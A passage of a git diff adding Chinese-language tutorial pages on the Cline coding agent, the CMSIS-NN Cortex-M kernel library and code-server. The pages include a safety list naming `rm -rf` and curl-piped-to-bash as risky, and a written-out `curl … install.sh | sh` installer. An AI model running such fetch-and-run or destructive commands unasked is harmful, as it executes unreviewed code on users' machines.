"src/**/*.tsx" +--- + +# TypeScript 规范 + +- 禁止使用 `any`;不确定时用 `unknown` 并收窄。 +- 公共 API 必须写 JSDoc。 +- 优先 functional 组件 + hooks,不要新建 class 组件。 +``` + +之后任何 Cline 任务都会带上这些约束,减少「风格跑偏」。 + +### 2b. MCP:给 Cline 接上 GitHub 与文件系统 + +在 Cline 面板 → **MCP Servers** → Configure,在 `mcpServers` 中增加(路径按本机调整): + +```json +{ + "mcpServers": { + "filesystem": { + "command": "npx", + "args": [ + "-y", + "@modelcontextprotocol/server-filesystem", + "/Users/you/projects/my-app" + ], + "disabled": false + }, + "github": { + "command": "npx", + "args": ["-y", "@modelcontextprotocol/server-github"], + "env": { + "GITHUB_PERSONAL_ACCESS_TOKEN": "ghp_xxxxxxxx" + }, + "disabled": false + } + } +} +``` + +保存后 MCP 面板应显示绿色连接与可用 **tools** 列表。此时你可以说: + +```text +用 GitHub MCP 列出本 repo 最近 5 个 PR 的标题; +再读 src/auth/login.ts,对照 PR 里关于 rate limit 的讨论,在 Plan 模式给出实现建议。 +``` + +Cline 会在调用 `use_mcp_tool` 前再次请求批准(除非你为特定工具配置了 autoApprove)。 + +CLI 侧也可用向导管理 MCP: + +```bash +cline mcp +# 交互式:List / Add / Edit / Enable / Disable / Delete +``` + +--- + +## 常用操作速查 + +| 操作 | 说明 | +|------|------| +| `@文件名` | 把文件/文件夹加入上下文 | +| Plan ↔ Act 切换 | 工具栏或命令面板切换模式 | +| `/deep-planning` | 复杂任务深度规划 | +| MCP Servers 面板 | 安装、重启、禁用 MCP | +| Checkpoints | 回滚 agent 变更序列 | +| Settings → Plan/Act 模型 | 分模式指定不同 LLM | + +--- + +## 成本、安全与合规 + +- **成本**:按所选 LLM 提供商计费;长对话 + 大仓库 context 会烧 token。Plan 用贵模型、Act 用便宜模型是常见省钱组合。 +- **代码外泄**:源码与命令输出会发往模型 API;敏感仓库用本地 Ollama 或私有端点,并阅读厂商数据保留政策。 +- **命令风险**:`rm -rf`、curl 管道 bash、改 `.env` 等操作务必人工审批;CI 密钥不要写进会被 agent 读取的明文文件。 +- **MCP 权限**:filesystem 服务器只授予必要目录;GitHub token 用最小 scope。 + +--- + +## 实践建议(零基础上手) + +1. **先 Plan 后 Act**——除非 typo 级小改,否则不要一上来就 Act。 +2. **用 @ 精确指路**——@ 相关文件比让 agent 全库乱搜更省 token、更准。 +3. **把规范写进 `.clinerules/`**——比每次聊天重复「我们用 pnpm」更有效。 +4. **开 checkpoint 再做大重构**——多文件迁移、换框架时尤其有用。 +5. **MCP 一次加一个**——确认 tools 正常再叠下一个,方便排错。 +6. **人类仍做 code review**——Cline 是执行层,合并前你自己或 CI 终审。 +7. **与 Git 习惯结合**——agent 完成后 `git diff`、分 commit,别一股脑 push。 + +--- + +## 进一步阅读 + +- 官网:[cline.bot](https://cline.bot/) +- GitHub:[cline/cline](https://github.com/cline/cline) +- 文档索引:[docs.cline.bot](https://docs.cline.bot/)(含 [Plan & Act](https://docs.cline.bot/features/plan-and-act)、[MCP](https://docs.cline.bot/mcp/mcp-marketplace)、[Rules](https://docs.cline.bot/customization/cline-rules)) +- VS Code Marketplace:[Cline 扩展页](https://marketplace.visualstudio.com/items?itemName=saoudrizwan.claude-dev) + +--- + +## 小结 + +Cline 把「会自己改代码的 AI」放进了你已有的 VS Code 工作流:**Plan 模式对齐方案,Act 模式落地变更,逐步审批守住安全线,Checkpoints 与 diff 视图保证可逆,`.clinerules/` 与 MCP 把团队规范和外部系统接进同一条 agent loop。** 对希望在不换 IDE 的前提下体验自主编码、又要保持透明可控的开发者,Cline 是从零上手的一条清晰路径——先装扩展、配一把 Key、从小任务 Plan → Act 开始,再逐步加规则与 MCP 即可。 diff --git a/src/content/docs/projects/cmsis-nn.md b/src/content/docs/projects/cmsis-nn.md new file mode 100644 index 000000000..477418fdf --- /dev/null +++ b/src/content/docs/projects/cmsis-nn.md @@ -0,0 +1,376 @@ +--- +title: CMSIS-NN — Cortex-M 上的「神经网络专用工具箱」 +来源: 'https://github.com/ARM-software/CMSIS-NN' +日期: '2026-06-13' +子分类: 嵌入式 +分类: 操作系统 +难度: '中级' +provenance: 'pipeline-v3' +--- + +## 是什么 + +**CMSIS-NN** 是 Arm 维护的开源 C 语言算子库,专门为 **Cortex-M 微控制器**上的神经网络推理做极致优化。源码托管在 [ARM-software/CMSIS-NN](https://github.com/ARM-software/CMSIS-NN),当前以独立 CMSIS-Pack 发布,每年大约两次正式版本(如 v6.0.0、v7.0.0)。 + +日常类比:**如果把 [[tflite-micro]] 比作「放映机」——负责按 FlatBuffer 剧本调度整场推理——那 CMSIS-NN 就是放映机里换上的「高速镜头组」**。放映机仍然决定放哪部电影、何时切镜头;镜头组负责把每一帧画面算得更快、更省内存。你不会单独拿镜头组去拍电影,但换上好镜头,同一台放映机在 STM32 上就能从「卡成幻灯片」变成「勉强实时」。 + +更接地气的比喻:神经网络推理是一桌满汉全席,有卷积、全连接、池化、Softmax 等十几道菜。通用 C 循环像一把菜刀从头切到尾;CMSIS-NN 则是**按 Cortex-M0 / M4 DSP / M55 Helium 三套厨房设备**,为每道菜准备了专用模具和流水线——编译器根据 `-mcpu=cortex-m55` 等参数自动选最快那套,你通常不用手写 `#ifdef`。 + +## 解决什么问题 + +| 痛点 | 朴素 C 实现 | CMSIS-NN 的回应 | +| --- | --- | --- | +| MCU 算力弱 | 浮点卷积在 M4 上动辄数百毫秒 | int8/int4 量化内核 + SIMD / Helium 向量化 | +| RAM 极小 | 中间缓冲随意 `malloc` 会爆 | 提供 `*_get_buffer_size()`,推理前可精确预算 | +| 与 TFLM 对不齐 | 自写算子结果和训练端不一致 | 遵循 TFLM 量化规范,**与参考内核 bit-exact** | +| 硬件碎片化 | M0 无 DSP、M4 有 DSP、M55 有 MVE | 每算子通常有 Pure C / DSP / MVE 三档实现 | +| Flash 紧张 | 整库链接体积大 | 按算子拆分源文件,只编译模型用到的层 | + +典型落地:关键词唤醒、人数检测、异常振动分类、低功耗视觉——凡是用 [[tflite-micro]] 或 Ethos-U 生态在 Cortex-M 上跑 int8 模型的场景,CMSIS-NN 几乎都是默认或推荐后端。 + +## 核心概念 + +### 1. 算子库,不是完整运行时 + +CMSIS-NN **不负责**解析 `.tflite`、管理 `tensor_arena`、注册 OpResolver。它只提供一层层的数学内核,例如: + +- `arm_convolve_wrapper_s8` — 卷积 +- `arm_fully_connected_s8` — 全连接 +- `arm_max_pool_s8` / `arm_avgpool_s8` — 池化 +- `arm_softmax_s8` — Softmax +- `arm_lstm_unidirectional_s8` — LSTM + +上层框架(TFLM、TVM、自研解释器)在调度到对应算子时,调用这些函数完成实际计算。类比:CMSIS-NN 提供「标准化螺丝规格」,整车装配仍由 TFLM 完成。 + +### 2. 三代命名:`_q7` → `_s8` → `_s4` + +历史上 CMSIS-NN 有两代 API: + +| 后缀 | 含义 | 现状 | +| --- | --- | --- | +| `_q7` / `_q15` | Arm 早期对称量化,类型别名 `q7_t` | **遗留 API**,不再新开发 | +| `_s8` / `_s16` | 对齐 TensorFlow Lite for Microcontrollers 的 int8/int16 规范 | **主流 API**,TFLM 默认路径 | +| `_s4` | int4 权重 + int8 激活(打包存储) | 新芯片上进一步省 Flash | + +新手应只学 `_s8` 系列。v4.0 起已移除不符合 TFLM 量化规范的老算子;`q7_t` 等别名也改为标准 `int8_t`。 + +### 3. 三档硬件实现(编译期自动选择) + +README 中的算子支持表按三列优化档划分: + +1. **Pure C** — Cortex-M0/M3 等无 SIMD 内核 +2. **DSP Extension** — Cortex-M4/M33 等,用 `ARM_MATH_DSP` 启用 +3. **MVE (Helium)** — Cortex-M55/M85 等,用 `ARM_MATH_MVEI` 启用 + +编译 `armclang -mcpu=cortex-m4` 时,编译器定义 `ARM_MATH_DSP`,`arm_convolve_wrapper_s8` 内部会自动走 DSP 快路径。你不需要在业务代码里写 `#if defined(ARM_MATH_MVEI)`。 + +### 4. 统一的参数结构体 + +现代 API 把「层超参」「张量形状」「量化元数据」拆成几个 struct,避免几十个 positional 参数: + +| 结构体 | 典型字段 | +| --- | --- | +| `cmsis_nn_dims` | `n, h, w, c` —— NHWC 格式 | +| `cmsis_nn_conv_params` | `stride`, `padding`, `dilation`, `input_offset`, `output_offset`, `activation` | +| `cmsis_nn_per_channel_quant_params` | 每通道 `multiplier[]`, `shift[]` | +| `cmsis_nn_context` | `buf` + `size` —— 部分算子需要的临时工作区 | + +卷积的 filter 维度约定为 **`[C_OUT, HK, WK, C_IN]`**,与 TFLM 一致。搞反 channel 顺序是嵌入式 CV 最常见的踩坑之一。 + +### 5. Context 缓冲:先问大小,再分配 + +不少卷积、深度可分离卷积在 DSP/MVE 路径上需要额外 scratch buffer。标准流程: + +``` +buf_size = arm_convolve_wrapper_s8_get_buffer_size(...) +ctx.buf = tensor_arena 里划出 buf_size 字节 +ctx.size = buf_size +arm_convolve_wrapper_s8(&ctx, ...) +``` + +这与 TFLM 的 `tensor_arena` 哲学一致:**所有内存在推理前预算完毕**,运行中不调用 `malloc`。官方还提到调用方应在安全敏感场景下**清零**该缓冲。 + +### 6. Wrapper 与 Fast 变体 + +同一算子常有多个入口: + +- `arm_convolve_wrapper_s8` — 根据 kernel 尺寸、stride 等自动分发到最优子内核 +- `arm_convolve_1x1_s8_fast` — 针对 1×1 pointwise 的特化快路径 +- `arm_depthwise_conv_3x3_s8` — 3×3 深度卷积特化 + +直接调 `wrapper` 最省心;做极致压测时可换 `fast` 变体,但需自己保证 shape 满足其约束。 + +### 7. 与 TFLM 的关系 + +启用 TFLM 的 CMSIS-NN 后端后,解释器在碰到 `Conv2D`、`FullyConnected` 等 op 时,会转而调用 CMSIS-NN 内核,而不是纯 C 参考实现。收益: + +- **速度**:同模型在 M4 上常见数倍加速;M55 上 Helium 路径更明显 +- **正确性**:输出与 TFLM 参考 bit-exact,方便和 PC 端 golden 对比 +- **体积**:只链接用到的 `.c` 文件 + +若你手写推理循环(不用 TFLM),也可以直接链 CMSIS-NN,自行填充权重指针和量化参数——适合极简场景或教学。 + +### 8. 构建与工具链要点 + +官方推荐用 Ethos-U Core Platform 的 CMake toolchain: + +```bash +mkdir build && cd build +cmake .. \ + -DCMAKE_TOOLCHAIN_FILE=/arm-none-eabi-gcc.cmake \ + -DTARGET_CPU=cortex-m55 +make +``` + +注意事项(来自 README): + +- 默认 `-Ofast`;`-O0` 调试时在 Helium 芯片上需定义 `ARM_MATH_AUTOVECTORIZE` +- **避免** `-fno-builtin` / `-ffreestanding`,否则 `memcpy`/`memset` 退化严重拖慢性能 +- Cortex-M7 上可定义 `OPTIONAL_RESTRICT_KEYWORD=__restrict` 帮助卷积优化 +- 测试过的编译器:Arm Compiler 6、Arm GNU Toolchain;IAR 未充分测试 +- v4.0 起**不再依赖 CMSIS-Core**,可单独拉取 CMSIS-NN 仓库构建 + +### 9. Python 绑定(可选) + +仓库提供 `cmsis_nn` pybind11 模块,主要用于在 **Host 上查询 buffer 大小**(方便 TVM、CI 或模型分析工具),例如: + +```python +import cmsis_nn + +backend = cmsis_nn.resolve_backend(cmsis_nn.CortexM.M55) +buf_size = cmsis_nn.convolve_wrapper_buffer_size( + backend, + cmsis_nn.DataType.A8W8, + input_nhwc=[1, 8, 8, 16], + filter_nhwc=[8, 3, 3, 16], + output_nhwc=[1, 6, 6, 8], + padding_hw=[0, 0], + stride_hw=[1, 1], + dilation_hw=[1, 1], +) +``` + +这不用于在 PC 上跑生产推理,而是帮你在烧录前算清「这层卷积要吃多少 scratch」。 + +## 代码示例一:手写 int8 卷积(最小可运行骨架) + +下面示例展示**不经过 TFLM、直接调用** `arm_convolve_wrapper_s8` 的典型写法。数据指针通常来自 Flash 中的量化权重;此处用栈上数组演示流程。 + +```c +#include "arm_nnfunctions.h" +#include "arm_nnsupportfunctions.h" +#include + +#define INPUT_H 8 +#define INPUT_W 8 +#define INPUT_C 16 +#define OUTPUT_C 8 +#define KERNEL 3 +#define OUTPUT_H 6 +#define OUTPUT_W 6 + +void run_conv2d_s8_example(void) { + int8_t input[INPUT_H * INPUT_W * INPUT_C]; + int8_t weights[OUTPUT_C * KERNEL * KERNEL * INPUT_C]; + int32_t bias[OUTPUT_C]; + int8_t output[OUTPUT_H * OUTPUT_W * OUTPUT_C]; + + /* 量化参数:实际项目从 TFLite 模型元数据导出 */ + cmsis_nn_conv_params conv_params = { + .input_offset = 0, + .output_offset = 0, + .stride = {1, 1}, + .padding = {0, 0, 0, 0}, + .dilation = {1, 1}, + .activation = {.min = -128, .max = 127}, + }; + + int32_t mult[OUTPUT_C] = {1073741824}; + int32_t shift[OUTPUT_C] = {-8}; + cmsis_nn_per_channel_quant_params quant_params = { + .multiplier = mult, + .shift = shift, + }; + + cmsis_nn_dims input_dims = {1, INPUT_H, INPUT_W, INPUT_C}; + cmsis_nn_dims filter_dims = {OUTPUT_C, KERNEL, KERNEL, INPUT_C}; + cmsis_nn_dims bias_dims = {1, 1, 1, OUTPUT_C}; + cmsis_nn_dims output_dims = {1, OUTPUT_H, OUTPUT_W, OUTPUT_C}; + + int32_t buf_size = arm_convolve_wrapper_s8_get_buffer_size( + &conv_params, &input_dims, &filter_dims, &output_dims); + + /* 实际固件里 ctx.buf 应来自预分配的 tensor_arena */ + int8_t scratch[512]; + cmsis_nn_context ctx = {.buf = scratch, .size = sizeof(scratch)}; + + if (buf_size > (int32_t)sizeof(scratch)) { + /* 缓冲不足:需扩大 arena 或换更小的模型 */ + return; + } + memset(scratch, 0, buf_size); + + arm_cmsis_nn_status status = arm_convolve_wrapper_s8( + &ctx, &conv_params, &quant_params, + &input_dims, input, + &filter_dims, weights, + &bias_dims, bias, + &output_dims, output); + + if (status != ARM_CMSIS_NN_SUCCESS) { + /* ARM_CMSIS_NN_ARG_ERROR:检查 offset 范围、dims 是否合法 */ + return; + } +} +``` + +要点回顾: + +1. 先 `get_buffer_size`,再分配 `cmsis_nn_context` +2. `per_channel_quant_params` 的 multiplier/shift 数组长度必须等于 `C_OUT` +3. `input_offset` 范围 `[-127, 128]`,`output_offset` 范围 `[-128, 127]`——越界会直接 `ARG_ERROR` + +## 代码示例二:int8 全连接层 + ReLU 裁剪 + +全连接在语音/传感器小模型里极为常见(分类头、嵌入层)。`arm_fully_connected_s8` 接受与卷积类似的量化参数: + +```c +#include "arm_nnfunctions.h" + +#define FC_IN 32 +#define FC_OUT 10 + +void run_fully_connected_s8_example(void) { + int8_t input[FC_IN]; + int8_t weights[FC_OUT * FC_IN]; /* 行主序:每行对应一个输出神经元 */ + int32_t bias[FC_OUT]; + int8_t output[FC_OUT]; + + cmsis_nn_fc_params fc_params = { + .input_offset = 0, + .filter_offset = 0, + .output_offset = 0, + .activation = {.min = 0, .max = 127}, /* ReLU:负值截断为 0 */ + }; + + cmsis_nn_per_tensor_quant_params quant_params = { + .multiplier = 1073741824, + .shift = -8, + }; + + cmsis_nn_dims input_dims = {1, 1, 1, FC_IN}; + cmsis_nn_dims filter_dims = {FC_OUT, 1, 1, FC_IN}; + cmsis_nn_dims bias_dims = {1, 1, 1, FC_OUT}; + cmsis_nn_dims output_dims = {1, 1, 1, FC_OUT}; + + cmsis_nn_context ctx = {0}; /* 多数 FC 路径不需要 scratch */ + + arm_cmsis_nn_status status = arm_fully_connected_s8( + &ctx, &fc_params, &quant_params, + &input_dims, input, + &filter_dims, weights, + &bias_dims, bias, + &output_dims, output); + + /* output[i] 已是 int8 量化 logits,可再接 arm_softmax_s8 */ +} +``` + +与卷积的区别: + +- 全连接常用 **per-tensor** 量化(单个 multiplier/shift),卷积多为 **per-channel** +- `activation.min = 0` 等价于 fused ReLU,少一次内存往返 +- 分类任务末尾通常再接 `arm_softmax_s8` 把 logits 变成伪概率 + +## 在 TFLM 中启用 CMSIS-NN(集成视角) + +业务项目更常见的路径是**不改算子调用**,只在构建 TFLM 时打开优化后端。概念步骤: + +``` +1. 训练并量化模型 → 得到 int8 .tflite +2. 用 TFLM 代码生成器或 Makefile 链入 CMSIS-NN 源文件 +3. 编译选项指定 -mcpu=cortex-m4 / cortex-m55 等 +4. MicroInterpreter::Invoke() 内部自动走 CMSIS 快路径 +``` + +与 [[esp-dl]]、[[tflite-micro]] 文档对照阅读效果更好:三者都服务「MCU 上跑神经网络」,但 CMSIS-NN 是 **跨厂商的 Cortex-M 算子层**,不绑定 Espressif 或 Google 的单家运行时。 + +## 算子覆盖速查(v6+ 主干) + +| 类别 | 代表函数 | int8 | int16 | int4 权重 | +| --- | --- | --- | --- | --- | +| Conv2D | `arm_convolve_wrapper_s8` | ✓ | ✓ | ✓ | +| DepthwiseConv | `arm_depthwise_conv_wrapper_s8` | ✓ | ✓ | ✓ | +| FullyConnected | `arm_fully_connected_s8` | ✓ | ✓ | ✓ | +| Pooling | `arm_max_pool_s8`, `arm_avgpool_s8` | ✓ | ✓ | — | +| Elementwise | `arm_elementwise_add_s8`, `arm_elementwise_mul_s8` | ✓ | ✓ | — | +| Softmax | `arm_softmax_s8` | ✓ | ✓ | — | +| LSTM | `arm_lstm_unidirectional_s8` | ✓ | ✓ | — | +| 其他 | Pad, Transpose, Batch Matmul, SVDF | 部分 | 部分 | 部分 | + +具体某块芯片是否吃到 MVE 优化,以目标 `-mcpu` + 编译器实测为准;README 里的表格是「上游实现了几套内核」,不是「你的板子一定跑满」。 + +## 学习路径建议 + +### 第 0 步:先懂量化,再碰算子 + +建议先读 TFLM 的 [int8 量化规范](https://www.tensorflow.org/lite/performance/quantization_spec)。不理解 `zero_point`、`scale`、`per-channel multiplier`,看 CMSIS-NN 源码会像在读天书。 + +### 第 1 步:用 TFLM 示例 + CMSIS 后端跑通 + +仓库 `Examples/` 下有图像识别等端到端样例(TFLM 作推理引擎、CMSIS-NN 作加速库)。先让 **`micro_speech` 或 `person_detection`** 在你的板子上跑起来,再考虑手写算子调用。 + +### 第 2 步:读一个 wrapper 源文件 + +推荐从 `Source/ConvolutionFunctions/arm_convolve_wrapper_s8.c` 入手,观察它如何根据 kernel 尺寸分发到 `arm_convolve_1x1_s8_fast`、`arm_convolve_s8` 等子函数——这是「编译期 + 运行期双重分发」的教科书级代码。 + +### 第 3 步:用 Python 绑定做 buffer 预算 + +在 Host 上用 `cmsis_nn.convolve_wrapper_buffer_size` 扫描模型各层,把结果写进 `tensor_arena` 规划表,避免板上第一次 `Invoke()` 才暴雷。 + +### 第 4 步:读论文加深直觉 + +Arm 论文 [CMSIS-NN: Efficient Neural Network Kernels for Arm Cortex-M CPUs](https://arxiv.org/abs/1801.06601) 解释了 q7 时代的数据重排与 SIMD 技巧;虽部分 API 已过时,但**「用数据布局换访存」**的思路至今适用。 + +## 常见坑 + +| 现象 | 可能原因 | 排查方向 | +| --- | --- | --- | +| `ARM_CMSIS_NN_ARG_ERROR` | offset 越界或 dims 不一致 | 对照 TFLM 导出的量化元数据 | +| 结果与 PC 参考不一致 | 混用 legacy `_q7` 与 `_s8` API | 统一走 TFLM 规范与 `_s8` 路径 | +| 性能不如预期 | `-O0` 调试构建、`-fno-builtin` | 用 `-Ofast` 或 Release 配置重测 | +| M55 仍慢 | 未启用 MVE 编译标志 | 确认 `ARM_MATH_MVEI` 与 `-mcpu=cortex-m55` | +| 链接体积暴涨 | 把整个 Source/ 全编进去 | 只添加模型用到的算子 `.c` 文件 | +| scratch 溢出 | 未调用 `get_buffer_size` | 每层用 API 查询,纳入 arena 规划 | + +## 与相邻项目怎么选 + +| 组件 | 角色 | 何时优先 | +| --- | --- | --- | +| **CMSIS-NN** | Cortex-M 通用 int8/int4 算子 | 任意 Arm MCU + TFLM/TVM/自研 | +| **[[tflite-micro]]** | 完整微控制器推理运行时 | 需要 FlatBuffer 解释器与生态 | +| **Ethos-U NPU** | 硬件加速核 | 芯片带 NPU 驱动时叠加使用 | +| **[[esp-dl]]** | Espressif 专用加速库 | 仅 ESP32 系列且愿绑 Espressif 栈 | + +很多量产固件的组合是:**TFLM + CMSIS-NN**;有 Ethos-U 时再由驱动把部分算子 offload 到 NPU。 + +## 小结 + +CMSIS-NN 不是「又一个机器学习框架」,而是嵌入在推理运行时下面的 **Cortex-M 专用数学加速层**。它用 int8/int4 量化、三档 SIMD 实现、与 TFLM bit-exact 的对齐,把「在几 KB RAM 的 MCU 上跑神经网络」从论文里的口号变成可维护的工程实践。 + +零基础学习时,抓住三条主线即可: + +1. **它是算子库,不是完整推理引擎** —— 上层仍需要 TFLM 或等价调度器 +2. **现代 API 看 `_s8` 后缀和那几个 struct** —— `dims`、`conv_params`、`context` +3. **性能来自「对的 CPU 标志 + 对的缓冲预算」** —— 编译选项和 `get_buffer_size` 与算法本身同样重要 + +把本文的两个 C 示例读懂,再跑通一个 TFLM 官方例程,你就已经跨过「听说过 CMSIS-NN」和「能在自己板子上量化加速」之间的那道坎了。 + +## 参考链接 + +- 源码仓库:[ARM-software/CMSIS-NN](https://github.com/ARM-software/CMSIS-NN) +- 官方文档:[CMSIS-NN Documentation](https://arm-software.github.io/CMSIS-NN/latest/index.html) +- 卷积 API:[Convolution Functions](https://arm-software.github.io/CMSIS-NN/latest/group__NNConv.html) +- 发行说明:[Releases](https://github.com/ARM-software/CMSIS-NN/releases) +- 论文:[arXiv:1801.06601](https://arxiv.org/abs/1801.06601) +- 关联笔记:[[tflite-micro]]、[[esp-dl]] diff --git a/src/content/docs/projects/code-server.md b/src/content/docs/projects/code-server.md new file mode 100644 index 000000000..76ab2507d --- /dev/null +++ b/src/content/docs/projects/code-server.md @@ -0,0 +1,323 @@ +--- +title: code-server — 在浏览器里跑完整 VS Code +来源: 'https://github.com/coder/code-server' +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +难度: 中级 +provenance: pipeline-v3 +--- + +## 日常类比:把工作室搬进浏览器 + +想象你平时在家写代码,用的是一台配置不错的台式机——显示器、键盘、整套 [[vscode]] 都装好了。某天你带着 iPad 出门,突然客户说「线上有个 bug 要马上改」。你不可能把整台电脑背在身上,但你可以**远程连回家里那台机器**,在平板浏览器里继续写代码。 + +**code-server 干的就是这件事**:在一台服务器(家里 NAS、云主机、公司内网机)上跑完整的 VS Code,然后你用任意设备的浏览器打开它。编译、测试、装扩展这些重活都在服务器上完成;你的笔记本或平板只负责显示界面和收发键盘输入。类比再往前一步:它不是「网页版记事本」,而是把整间开发工作室原封不动搬到了云端,门口挂了一块「浏览器入口」的牌子。 + +项目地址:[coder/code-server](https://github.com/coder/code-server),GitHub 约 7.7 万 Stars(2026 年中),MIT 开源,由 Coder 公司维护。口号很直白:**Run VS Code on any machine anywhere and access it in the browser.** + +--- + +## 这个项目解决什么问题 + +### 痛点 1:设备不一致,环境对不上 + +团队里有人用 macOS,有人用 Windows,有人只有 Chromebook。每个人本地装的 Node、Python、Docker 版本都不一样,经典的「在我机器上能跑」反复出现。code-server 把开发环境固定在**一台(或一类)远程机器**上,所有人连进去看到的是同一套工具链。 + +### 痛点 2:本地算力不够,又离不开 IDE + +训练小模型、跑全量测试、编译大型 C++ 项目,笔记本风扇狂转、电池半小时耗尽。把 code-server 装在高配云主机上,本地只开浏览器,重计算在云端完成——官方文档原话是 *Preserve battery life when you're on the go*。 + +### 痛点 3:想在「没有完整桌面环境」的设备上写代码 + +iPad、图书馆的公用电脑、出差时借来的机器——没法或不便安装 VS Code。只要有现代浏览器和稳定网络,就能连上自己的 code-server 实例继续干活。 + +### 痛点 4:需要自托管的浏览器 IDE,而不是绑定某家 SaaS + +GitHub Codespaces 好用,但绑定 GitHub/Microsoft 生态,按量计费,数据在人家云上。code-server 是**自托管、开源、可跑在任意 Linux 机器**的方案,适合个人站长、学校实验室、有合规要求的内网团队。 + +--- + +## 核心概念拆解 + +### 1. 不是仿制,是 VS Code 本体 + 补丁层 + +code-server 并不是从零写一个「长得像 VS Code 的编辑器」。它把微软开源的 VS Code(Code - OSS)作为 **git submodule** 拉进来,再用一组 **patch 文件** 打上浏览器运行所需的改动。这和 [[monaco-editor]]「只拆编辑器内核」不同——code-server 提供的是**完整 IDE**:终端、扩展、调试、Git、多文件工作区一应俱全。 + +### 2. 浏览器 ↔ 服务器的 WebSocket 长连接 + +你在浏览器里敲一个字符,背后要经过 WebSocket 发到服务器上的 Node 进程,再写进远程文件系统。所以官方硬性要求:**运行环境必须支持 WebSocket**。反向代理(Nginx、Caddy)若没正确配置 Upgrade 头,表现就是连上了却不断断开或终端无响应。 + +### 3. 扩展宿主跑在服务器,不在你本地 + +和 [[vscode]] Remote-SSH 的逻辑类似:语言服务器(LSP)、调试器(DAP)、Git 操作都在**远端进程**里执行。你在浏览器里装 Python 扩展,实际装的是服务器上的 `~/.local/share/code-server/extensions/`。换一台电脑登录,扩展和设置还在——因为用户数据存在**远程磁盘**,不是浏览器 localStorage。 + +### 4. 扩展市场:默认 Open VSX,可切换 + +微软官方 Marketplace 的许可限制第三方产品直接使用。code-server 默认接 **Open VSX Registry**(Eclipse 基金会运营)。多数常用扩展能搜到,但偶尔会遇到「Marketplace 有、Open VSX 没有」的情况,需要手动下载 `.vsix` 安装,或通过配置指向自建市场。 + +### 5. 内置开发代理(Development Proxy) + +本地跑 `npm run dev` 起了一个 `localhost:3000` 的前端,你在 iPad 上怎么预览?code-server 自带端口代理:在 **Ports** 面板里检测到 3000 端口后,会生成一个带认证的子路径或子域名链接,例如 `https://your-server/proxy/3000/`,走同一套登录鉴权,不必额外暴露端口。 + +### 6. 认证与安全:默认密码,生产必须加固 + +首次启动会生成随机密码,写在 `~/.config/code-server/config.yaml`。默认只监听 `127.0.0.1`,适合本机试用。要暴露到公网,官方强烈建议:**SSH 端口转发**、**Caddy/Let's Encrypt 自动 HTTPS**,或前置 OAuth 反向代理——绝不建议裸奔把 `code-server --bind-addr 0.0.0.0:8080` 直接扔公网。 + +### 7. 与 Coder 产品的关系 + +同公司的 **[Coder](https://github.com/coder/coder)** 是面向**团队**的远程开发平台:用 Terraform 批量创建工作区,每个工作区里可以预装 code-server 作为应用之一。可以简单记:**code-server = 个人/单机方案;Coder = 团队编排 + 多租户 + 策略管控**。 + +--- + +## 安装与最小启动 + +**系统要求(TL;DR)**:Linux 为主(也支持 macOS、FreeBSD;Windows 建议用 npm 或 WSL),至少 1 GB RAM、2 vCPU,WebSocket 可用。 + +```bash +# 预览安装脚本会做什么(不真正安装) +curl -fsSL https://code-server.dev/install.sh | sh -s -- --dry-run + +# 一键安装 +curl -fsSL https://code-server.dev/install.sh | sh + +# 启动(首次会打印访问密码) +code-server + +# 指定端口与监听地址(仅内网调试示例) +code-server --bind-addr 0.0.0.0:8080 +``` + +配置文件路径:`~/.config/code-server/config.yaml`。常用项: + +```yaml +bind-addr: 127.0.0.1:8080 +auth: password # 也可改为 none(仅限受信网络)或 前置代理 OAuth +password: +cert: false # 生产环境建议用反向代理做 TLS +``` + +Docker 一键跑: + +```bash +docker run -it --name code-server -p 8080:8080 \ + -v "$HOME/.config:/home/coder/.config" \ + -v "$HOME/project:/home/coder/project" \ + -u "$(id -u):$(id -g)" \ + codercom/code-server:latest +``` + +--- + +## 使用案例 + +### 案例 1:个人开发者 — 云主机 + iPad 移动编程 + +**场景**:你有一台 $6/月的 VPS(2 vCPU / 4 GB),主力开发机是 MacBook,通勤时用 iPad 想继续改 side project。 + +**步骤概要**: + +1. 在 VPS 上执行安装脚本,用 `systemd` 或 Docker 让 code-server 开机自启。 +2. 本机通过 SSH 隧道访问(最安全、零额外配置): + + ```bash + ssh -N -L 8080:127.0.0.1:8080 user@your-vps + ``` + +3. iPad Safari 打开 `http://localhost:8080`(若 SSH 隧道开在 iPad 上的 Termius 等客户端),输入 config 里的密码登录。 +4. 在 code-server 里 `git clone` 项目,安装和 Mac 上一样的扩展(ESLint、Prettier、语言包)。 +5. 跑 `npm run dev`,在 Ports 面板点代理链接,直接在平板浏览器里预览前端。 + +**收益**:iPad 上获得与桌面几乎一致的 VS Code 体验;VPS 在欧洲,npm install 和 CI 测试往往比家用宽带上快;MacBook 合上盖子也不影响服务器上的长任务。 + +### 案例 2:课程 / 训练营 — 统一实验环境 + +**场景**:高校编程课 60 名学生,实验室电脑配置参差,不想花半节课帮学生装 Python 和 Jupyter。 + +**做法**: + +1. 在学校服务器或云上用 Docker Compose 部署一台(或按班级分多台)code-server。 +2. 制作带课程依赖的镜像:预装 Python 3.12、课程要求的 pip 包、作业模板仓库。 +3. 给学生每人分配账号密码(或接入学校 LDAP / OAuth 反向代理)。 +4. 学生用机房浏览器或宿舍笔记本登录同一地址,打开共享课件目录开始实验。 +5. 教师 SSH 进宿主机查看 `~/.local/share/code-server` 下的学生工作区(若采用 per-user 卷映射)。 + +**收益**:环境一次构建、全班复用;学生回家也能连;不依赖学生本机是否装了 VS Code。 + +### 案例 3:全栈预览 — 内置代理调试 React 应用 + +**场景**:在 code-server 里开发 Vite + React 项目,需要手机扫码或外网协作者查看效果。 + +```bash +# 在 code-server 集成终端里 +npm create vite@latest my-app -- --template react-ts +cd my-app && npm install && npm run dev -- --host +``` + +Vite 监听 `5173` 后,code-server 的 **Ports** 视图会出现该端口。点击「地球」图标打开代理 URL。若配置了 `VSCODE_PROXY_URI` 环境变量,还可生成 `https://5173.your-domain.dev` 这类子域名,方便分享给测试同事——且仍受 code-server 登录保护。 + +**注意**:部分框架(Vue、Angular、Svelte)在子路径代理下需要设置 `base` / `publicPath`,官方文档的 [guide](https://coder.com/docs/code-server/guide) 有按框架分的配置示例。 + +### 案例 4:与 Dev Container 结合 + +若项目已有 `.devcontainer/devcontainer.json`,code-server 支持作为 devcontainer 特性接入:容器里起 code-server,浏览器连的是**容器内**完整工具链,与 VS Code Dev Containers 理念一致,但入口从桌面客户端换成纯 Web。 + +--- + +## 竞品与相关方案对比 + +| 方案 | 类型 | 核心差异 | 适合谁 | +|------|------|----------|--------| +| **code-server** | 